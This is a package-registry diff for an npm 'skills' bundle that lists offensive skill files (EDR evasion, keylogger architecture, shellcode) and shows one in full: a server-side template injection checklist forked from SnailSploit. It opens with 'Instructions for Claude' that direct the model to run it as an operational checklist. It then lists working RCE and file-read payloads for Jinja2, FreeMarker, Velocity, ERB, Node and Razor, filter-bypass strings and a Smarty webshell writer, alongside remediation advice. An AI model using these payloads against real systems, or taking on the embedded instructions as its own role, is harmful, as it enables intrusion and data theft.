@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,349 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Server-Side Template Injection (SSTI)
4
+
5
+ ## Metadata
6
+ - **Skill Name**: ssti
7
+ - **Folder**: offensive-ssti
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/ssti.md
9
+
10
+ ## Description
11
+ Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Server-Side Template Injection (SSTI)
31
+
32
+ Template engines are software used to generate dynamic web pages. When user input is unsafely embedded into templates, server-side template injection (SSTI) can occur, potentially leading to Remote Code Execution (RCE).
33
+
34
+ ## Shortcut
35
+
36
+ - Look for all locations where user input is reflected or used in the response (URL parameters, POST data, HTTP headers, JSON data, etc.).
37
+ - Inject template syntax characters/polyglots like `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}` into inputs. Check for errors, mathematical evaluation (e.g., `49` instead of `7*7`), or missing/changed reflections.
38
+ - Verify server-side evaluation (e.g., math works) vs. client-side XSS.
39
+ - Use engine-specific syntax (e.g., `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`), known variable names (`{{config}}`, `{$smarty}`), or error messages to identify the template engine (use a decision tree like PortSwigger's or HackTricks').
40
+ - Look up payloads specific to the identified engine and backend language.
41
+ - Use engine-specific payloads (see Methodologies) to read files, execute commands, access internal data, or escape sandboxes.
42
+ - Create a non-destructive proof of concept (e.g., `touch ssti_poc_by_YOUR_NAME.txt` via RCE).
43
+
44
+ ## Mechanisms
45
+
46
+ Server-Side Template Injection (SSTI) occurs when attacker-controlled input is embedded unsafely into a server-side template. Instead of treating the input as data, the template engine executes it as part of the template's code. This allows injecting template directives to execute arbitrary code, access server data, or perform actions as the application.
47
+
48
+ **Root Cause:** Concatenating or directly rendering user input within a template string without proper sanitization or using insecure template functions.
49
+
50
+ - Misusing “helper” APIs that compile raw strings at runtime, such as `render_template_string`, `Template::render_inline`, or `Template.compile`, which appear safe but execute attacker‑supplied data.
51
+
52
+ ### Vulnerable Example 1 (Simple Jinja2)
53
+
54
+ The following program takes user input and concatenates it directly into a template string:
55
+
56
+ ```python
57
+ # Assume user_input comes from an HTTP request parameter
58
+ from jinja2 import Template
59
+ tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")
60
+ print(tmpl.render())
61
+ ```
62
+
63
+ If `user_input` is `{{1+1}}`, the engine executes the expression:
64
+
65
+ ```html
66
+ <html>
67
+ <h1>The user's name is: 2</h1>
68
+ </html>
69
+ ```
70
+
71
+ ### Vulnerable Example 2 (Flask/Jinja2)
72
+
73
+ ```python
74
+ from flask import Flask, request, render_template_string
75
+
76
+ app = Flask(__name__)
77
+
78
+ @app.route('/')
79
+ def home():
80
+ # Vulnerable: Directly renders user input from 'user' query parameter
81
+ if request.args.get('user'):
82
+ return render_template_string('Welcome ' + request.args.get('user'))
83
+ else:
84
+ return render_template_string('Hello World!')
85
+
86
+ # Attacker URL: http://<server>/?user={{7*7}}
87
+ # Response: Welcome 49
88
+ ```
89
+
90
+ ### Secure Example (Flask/Jinja2)
91
+
92
+ ```python
93
+ from flask import Flask, request, render_template_string
94
+
95
+ app = Flask(__name__)
96
+
97
+ @app.route('/')
98
+ def home():
99
+ # Secure: Passes user input as a variable to the template
100
+ if request.args.get('user'):
101
+ # The template engine treats 'username' as data, not code
102
+ return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
103
+ else:
104
+ # ...
105
+ ```
106
+
107
+ ## Hunt
108
+
109
+ ### Preparation
110
+
111
+ - Identify all user-controlled input points: URL parameters, POST data, HTTP headers (Referer, User-Agent, custom headers), JSON keys/values, etc.
112
+ - Use tools like `waybackurls` and `qsreplace` to generate fuzzing lists for parameters:
113
+ ```bash
114
+ waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
115
+ ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
116
+ # Check Burp Repeater/Logger++ for responses containing the evaluated result (e.g., 81)
117
+ ```
118
+
119
+ ### Detection
120
+
121
+ - Initial Fuzzing: Inject basic polyglots: `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}`, `${7*7}`, **quote‑less payloads** such as `{{[].__class__.__mro__[1]}}`.
122
+ - Observe Behavior:
123
+ - Errors: Stack traces or specific error messages can reveal the template engine (e.g., Jinja2, Smarty, FreeMarker).
124
+ - Evaluation: Input like `{{7*7}}` becomes `49`.
125
+ - Blank Output: The payload might be processed and removed if invalid or if it performs an action without output.
126
+ - No Change: Input reflected exactly as provided; likely not vulnerable (or requires different syntax).
127
+ - Differentiate from XSS: Ensure the evaluation happens server-side, not client-side. `${7*7}` evaluating to `49` strongly suggests SSTI.
128
+
129
+ ### Identification
130
+
131
+ #### Engine-Specific Payloads
132
+
133
+ Use a systematic approach based on the initial observations or a decision tree ([PortSwigger, updated July 2024](https://portswigger.net/research/server-side-template-injection), [Medium](https://miro.medium.com/v2/resize:fit:1100/format:webp/1%2A35XwCGeYeKYmeaU8rdkSdg.jpeg)).
134
+
135
+ #### Additional Common Engines (2024‑2025)
136
+
137
+ | Engine | Fingerprint | Simple RCE / Info payload |
138
+ | -------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------- |
139
+ | **Mako** (Python/Pyramid) | Error message containing `mako.exceptions` | `${self.module.os.popen('id').read()}` |
140
+ | **Blade** (Laravel 11) | `Undefined variable` or `@dd($loop)` dumps | `{!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!}` |
141
+ | **Groovy / GSP** | Stack trace with `groovy.text.SimpleTemplateEngine` | `<% Class.forName('java.lang.Runtime').runtime.exec('id') %>` |
142
+ | **Tera / Askama (Rust)** | Files ending `.tera` / `.askama.rs` | No generic RCE yet; watch for logic injection |
143
+ | **EJS / Pug (Node)** | `.ejs`, `.pug` templates | Often needs gadget via helpers/filters; prototype chains |
144
+ | **Twig (PHP)** | Error mentions `Twig\\` | `{% for k,v in _self %}` info, RCE via unsafe extensions |
145
+ | **Liquid** (Shopify/Ruby) | `{{product.title}}`, errors mention `Liquid::` | Limited by default; see Liquid-specific payloads below |
146
+ | **Nunjucks** (Node/Mozilla) | Mozilla's Jinja2 port, `.njk` templates | Prototype chain to `Function` or `require` |
147
+ | **Handlebars** (Node) | `{{this}}`, `{{@root}}` work | Limited RCE; requires unsafe helpers or prototype pollution |
148
+ | **Thymeleaf 3.1+** (Java/Spring) | `th:text="${...}"`, Spring Boot stack traces | `${T(java.lang.Runtime).getRuntime().exec('id')}` if SpEL enabled |
149
+
150
+ #### Variable Probing
151
+
152
+ Try injecting known variables for common frameworks: `{{config}}`, `{{settings}}`, `{{app.request.server.all|join(',')}}`, `{$smarty.version}`.
153
+
154
+ ## Bypass Techniques
155
+
156
+ ### Character Blacklist Bypass
157
+
158
+ - Use alternative syntax: `getattr(object, 'attribute')` instead of `object.attribute`. Use `{{request|attr('application')}}` instead of `{{request.application}}`.
159
+ - Use array/dictionary access: `request['application']` instead of `request.application`.
160
+ - Hex/Octal Encoding (if interpreted server-side): `request['\x5f\x5fglobals\x5f\x5f']` instead of `request['__globals__']`.
161
+ ```python
162
+ # Example: Bypass '.' and '_' using brackets and hex
163
+ {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
164
+ # Example: Using attr() and hex (Source: HackTricks)
165
+ {%raw %}{% with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{{a}}{% endwith %}{% endraw %}
166
+ ```
167
+ - URL Parameter manipulation (Source: HackTricks):
168
+ - Pass attribute name: `?c=__class__` -> `{{ request|attr(request.args.c) }}`
169
+ - Construct attribute name: `?f=%s%sclass%s%s&a=_` -> `{{ request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)) }}`
170
+ - List join: `?l=a&a=_&a=_&a=class&a=_&a=_` -> `{{ request|attr(request.args.getlist(request.args.l)|join) }}`
171
+
172
+ > **Note:** The index for `subprocess.Popen` differs between CPython 3.11 and 3.12; enumerate `__subclasses__()` at runtime instead of hard‑coding.
173
+
174
+ ### Keyword Filtering Bypass
175
+
176
+ - Concatenation: `'os'.__class__` -> `'o'+'s'`
177
+ - Using `request` object attributes or environment variables if keywords like `import` or `os` are blocked.
178
+ - Jinja2 Context Variables: Access `os` via `{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}` or similar paths ([Source: Podalirius](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/)).
179
+
180
+ ### NET Reflection
181
+
182
+ Use reflection to load assemblies or invoke methods indirectly.
183
+ On modern ASP.NET Core, Razor limits direct process start; look for misused `Html.Raw`, custom tag helpers, or debug compilation flags.
184
+
185
+ ### String-less Exploitation
186
+
187
+ Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build strings from arithmetic or list indices.
188
+
189
+ ```jinja
190
+ {{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}
191
+ ```
192
+
193
+ For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach `Function` or `require` when helpers expose evaluation sinks:
194
+
195
+ ```js
196
+ <%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>
197
+ ```
198
+
199
+ ### Recent CVEs (2024‑2025)
200
+
201
+ | CVE | Affected component | Severity | Fixed in |
202
+ | -------------- | ------------------------------------------- | -------- | --------------------- |
203
+ | CVE‑2024‑22195 | Jinja2 sandbox / `xmlattr` filter bypass | High | 3.1.3 |
204
+ | CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |
205
+ | Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |
206
+
207
+ ### Automated Scanning & CI Integration
208
+
209
+ - **nuclei** and **semgrep** include up‑to‑date SSTI rules; integrate them into pull‑request checks.
210
+ - GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.
211
+ - Add a CI gate blocking merges on raw `render_template_string` or `.format()` inside templates.
212
+
213
+ ## Vulnerabilities
214
+
215
+ Common vulnerable patterns include:
216
+
217
+ - Direct Rendering: `render_template_string("Hello " + user_input)`
218
+ - Unsafe Variable Usage: `{{ unsafe_variable }}` where `unsafe_variable` contains template code.
219
+ - Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).
220
+
221
+ ## Methodologies
222
+
223
+ ### Tools
224
+
225
+ **Active Exploitation:**
226
+
227
+ - **tplmap**: `python tplmap.py -u 'http://www.target.com/page?name=John*'` ([https://github.com/epinna/tplmap](https://github.com/epinna/tplmap))
228
+ - **SSTImap**: `python3 sstimap.py -u "https://example.com/page?name=John" -s`
229
+ - **TInjA**: `tinja url -u "http://example.com/?name=Kirlia"`
230
+ - **crithit** – SSTI‑centric fuzzer supporting Go/Tera, Blade, and Mako (2024)
231
+
232
+ **Burp Suite Extensions:**
233
+
234
+ - **Template Injector** – maintained fork replacing TemplateTester
235
+ - **Server Side Template Injection** - Active scanner checks
236
+ - **Param Miner** - Discover hidden parameters that might accept template input
237
+
238
+ **Scanning & Detection:**
239
+
240
+ - **nuclei** (`templates/ssti-*`) – fast HTTP scanner with updated SSTI signatures (2024-2025)
241
+ - **semgrep** with SSTI rulesets – Static analysis for template injection vulnerabilities
242
+ - **GitHub CodeQL** "SSTI" query pack (2024-10) – Covers Python, PHP, Go
243
+
244
+ **Framework-Specific:**
245
+
246
+ - **Jinja2 Sandbox Escape Tools** - Testing Jinja2 sandboxed environments
247
+ - **Node Template Tester** - EJS/Pug/Handlebars/Nunjucks testing suite
248
+
249
+ ### Manual Testing & Exploitation Payloads
250
+
251
+ - Generic/Polyglot:
252
+ - `${{<%[%'"}}%\.`
253
+ - `{{7*7}}` -> `49`
254
+ - `{{7*'7'}}` -> `7777777`
255
+ - `{{ '7'*7 }}` (Jinja2) -> `7777777`
256
+ - `@(1+2)` (.NET Razor) -> `3`
257
+ - Jinja2 (Python / Flask):
258
+ - Debug/Info: `{{config}}`, `{{self}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` (Requires debug extension)
259
+ - List Subclasses: `{{ [].__class__.__base__.__subclasses__() }}` , `{{ ''.__class__.__mro__[1].__subclasses__() }}` (Index 1 or 2 depending on Python version)
260
+ - Recover `object` Class: `{{ ''.__class__.__mro__[1] }}` (or `[2]`), `{{ ''.__class__.__base__ }}`
261
+ - Find File Class: Iterate through subclasses list or guess index, e.g., `[40]` on some systems.
262
+ - Read File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}` (Index varies)
263
+ - RCE (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}` (Find `subprocess.Popen` index, e.g., `396`)
264
+ - RCE (Common - via `__globals__`): `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`
265
+ - RCE (via `request` object - `__globals__`): `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`
266
+ - RCE (via `config` object - `__globals__`): `{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}`
267
+ - RCE (Alternative via `__globals__` search): `{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}` (Search for a class with `_module` attribute)
268
+ - RCE (via `config` and `import_string`): `{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}`
269
+ - RCE (via `request` and hex/brackets bypass): `{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}`
270
+ - Write File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }}` (Index varies)
271
+ - Write Evil Config & RCE:
272
+ ```python
273
+ # Write config
274
+ {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
275
+ # Load config
276
+ {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
277
+ # Execute
278
+ {{ config['RUNCMD']('id',shell=True) }}
279
+ ```
280
+ - Avoid HTML Encoding: `{{'<script>alert(1)</script>'|safe}}`
281
+ - Loop: `{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}`
282
+ - FreeMarker (Java):
283
+ - RCE: `<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }`
284
+ - RCE: `${"freemarker.template.utility.Execute"?new()("id")}`
285
+ - File Read: `${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}` (May require adjustments)
286
+ - Info: `${class.getResource("").getPath()}`, `${T(java.lang.System).getenv()}`
287
+ - Smarty (PHP):
288
+ - `{$smarty.version}`
289
+ - `{php}echo `id`;{/php}` (If PHP tag enabled)
290
+ - `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}` (Write webshell)
291
+ - `{{7*7}}`, `{{7*'7'}}`
292
+ - `{{dump(app)}}` (Symfony)
293
+ - `"{{'/etc/passwd'|file_excerpt(1,30)}}"@` (Twig)
294
+ - Velocity (Java):
295
+ - `#set($str=$class.inspect("java.lang.String").type)`
296
+ - `#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))`
297
+ - `$ex.waitFor()`
298
+ - `#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end` (Read command output)
299
+ - Ruby (ERB, Slim):
300
+ - `<%= system("whoami") %>`
301
+ - `<%= Dir.entries('/') %>`
302
+ - `<%= File.open('/etc/passwd').read %>`
303
+ - Node.js (Various engines):
304
+ - `{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}`
305
+ - Payloads often involve traversing prototypes (`this.__proto__`) to reach `constructor` and eventually `Function` or `require`. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.
306
+ - ASP/.NET (Razor, etc.):
307
+ - `@(1+2)` -> `3`
308
+ - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
309
+ - `<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %>` (Classic ASP)
310
+ - Perl (Template Toolkit):
311
+ - `[% PERL %] ... perl code ... [% END %]`
312
+ - `<%= perl code %>` or `<% perl code %>` (Depending on config)
313
+ - Go (`text/template`):
314
+ - Potentially dangerous if methods allowing command execution are exposed to the template: `{{ .System "ls" }}`
315
+ - `html/template` is generally safer against XSS but might still leak info if not used carefully.
316
+
317
+ ### Comprehensive Payloads
318
+
319
+ - [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
320
+ - [PayloadBox - SSTI](https://github.com/payloadbox/ssti-payloadsb/ssti-server-side-template-injection/index.html)
321
+
322
+ ## Chaining and Escalation
323
+
324
+ SSTI often leads directly to RCE, but can also be used for:
325
+
326
+ - **RCE:** Primary goal, gain shell access.
327
+ - **File Exfiltration:** Read sensitive files (`/etc/passwd`, `web.config`, source code, credentials).
328
+ - **Information Disclosure:** Dump environment variables, application configuration (`{{config}}`, `{{settings}}`), object properties, internal network paths.
329
+ - **Internal Network Access:** Use RCE to pivot, scan internal networks, or access internal services.
330
+ - **Privilege Escalation:** Combine RCE with local exploits if the web server runs with elevated privileges.
331
+ - **Data Exfiltration:** Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).
332
+ - **SSRF pivot:** Some engines permit URL‑fetch filters (`{{''|fetch('http://...')}}`); leverage SSTI to query cloud‑metadata endpoints.
333
+
334
+ ## Remediation Recommendations
335
+
336
+ - Never Render User Input Directly: The most critical step. Treat user input as data, not code.
337
+ - Use Safe Templating Practices:
338
+ - Pass user data into templates using dedicated template variables (e.g., `render_template('page.html', user_data=user_input)`).
339
+ - Use logic-less templates if possible.
340
+ - Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (`{`, `}`, `$`, `%`, `<`, `>`, etc.). Use allow-lists for safe HTML if needed.
341
+ - Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.
342
+ - Choose Safer Engines: Prefer engines designed for security, like Go's `html/template` over `text/template` for HTML output, as it provides context-aware auto-escaping.
343
+ - Principle of Least Privilege: Run the web application process with minimal privileges.
344
+ - Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.
345
+ - Patch management: track and apply security updates for template engines (see Recent CVEs).
346
+ - Harden runtime: enable seccomp/AppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.
347
+ - CI guardrails: block usage of dangerous APIs (e.g., `render_template_string`, `Template.compile`, `eval` filters) via linters/semgrep; add approve‑list of safe helpers
348
+ - For Node: disable `with` in EJS, avoid `compileDebug`, and run with `vm` sandbox only when fully locked down (no `require` or `Function` reachable)
349
+